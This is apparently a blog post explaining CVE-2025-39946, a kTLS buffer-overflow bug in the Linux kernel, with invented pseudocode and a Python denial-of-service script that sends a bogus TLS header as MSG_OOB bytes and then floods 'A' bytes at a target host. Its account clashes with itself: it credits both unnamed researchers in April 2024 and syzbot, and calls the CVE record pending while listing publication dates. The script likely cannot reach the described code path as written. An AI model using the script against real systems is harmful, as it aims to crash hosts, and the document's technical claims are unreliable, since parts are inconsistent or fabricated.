Transport Layer Security (TLS) is the backbone of encrypted communication on the internet, and in Linux, TLS can be accelerated with in-kernel support to boost performance. On April 2024, security researchers discovered a flaw in the Linux kernel's implementation of kTLS (kernel TLS) that could lead to memory corruption or denial of service under rare, attacker-controlled conditions. This vulnerability is now tracked as CVE-2025-39946.

The Vulnerability in Simple Terms

The heart of the problem is in how the Linux kernel's TLS layer parses incoming network data under pressure. Normally, the kernel waits until all data for a TLS record is received before acting on it, ensuring safety and consistency.

But there's an optimization for _low-memory_ or _tiny buffer_ situations: the kernel processes smaller chunks sooner to keep the connection alive.

If some attacker feeds the record header to the kernel in tiny, "out-of-band" (OOB) pieces, and then floods it with a large, malformed payload in a normal send, the kernel may:

Overflow the buffer allocated to store the TLS record (known as skb).

Ultimately, this could crash the system or, in the worst case, allow for controlled memory overwrites.

Understanding the Code

The key function is tls_rx_msg_size() in the Linux kernel. The vulnerable logic can be simplified as:

// Pseudocode based on the real Linux kernel functions

int tls_rx_msg_size(struct tls_strparser *strp, ...) {
    ...
    // Piece together the header
    parse_header(data);
    
    // If header is malformed or length is invalid
    if (invalid_record) {
        // Previously: 
        // Sometimes just tried again, copying more data each time!
        // After patch:
        abort_connection();
    }
    ...
}

The bug was that the code _retried parsing_ corrupt data, and each retry resulted in copying more bytes, eventually overflowing spaces meant just for a single record.

Real Fix

The correct behavior is to abort the connection immediately if an invalid record is found, avoiding any further memory copying or processing. This is what the patch now ensures.

Prerequisite: The attacker must control a client or server talking TLS to the vulnerable kernel.

- By sending the TLS header in tiny OOB packets first, and then suddenly blasting a large (but malformed) payload, the attacker leaves the kernel unable to parse the record size up front.
- The kernel, under pressure, keeps copying small pieces into the buffer, each time _thinking_ it's about to have the complete record.
- Eventually, it tries to parse an invalid record, retries, and copies too much data: memory overflow (specifically, skb overflow).

Who Found This?

This clever technique was discovered by syzbot, Google's kernel fuzzing robot, which specializes in finding hard-to-trigger bugs by automatically generating programmatic inputs.

Here is a simplified version of an exploit approach in Python using socket and sendmsg

import socket

# Set up a TCP socket connected to a vulnerable kTLS endpoint
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target.host', 443))

# 1. Send TLS header in small OOB packets (simulate out-of-band)
header = b'\x16\x03\x03\x00\xff'  # Bogus TLS header (content type, version, length)
for byte in header:
    s.send(bytes([byte]), socket.MSG_OOB)
    # Wait a tiny bit to simulate slow network or buffer pressure

# 2. Flood the receiver with a big, fake, invalid record
payload = b'A' * 2048  # Oversized/invalid payload
s.sendall(payload)

# 3. (At this point, vulnerable kernels might crash or behave unexpectedly)
s.close()

Note: To actually reach the kernel codepath, you'd need to setup kTLS (not default userland TLS), and exploitability depends on extensions and kernel version.

References

- Linux Kernel Patch
- syzkaller/syzbot docs
- kTLS: Kernel-side TLS Support
- CVE record once available (pending publication)

Takeaways & Mitigation

- Check your kernel: If you deploy custom kernels or use kTLS, update immediately to include the patch.

TLS libraries in user space (OpenSSL, GnuTLS, etc.) are not affected.

- This is a fascinating example of why low-level protocol edge cases matter—and how fuzzing uncovers hidden bugs.
- To prevent similar bugs: Always abort on invalid protocol records in kernel paths where memory is managed tightly.

Timeline

Published on: 10/04/2025 08:15:47 UTC
Last modified on: 10/06/2025 14:56:47 UTC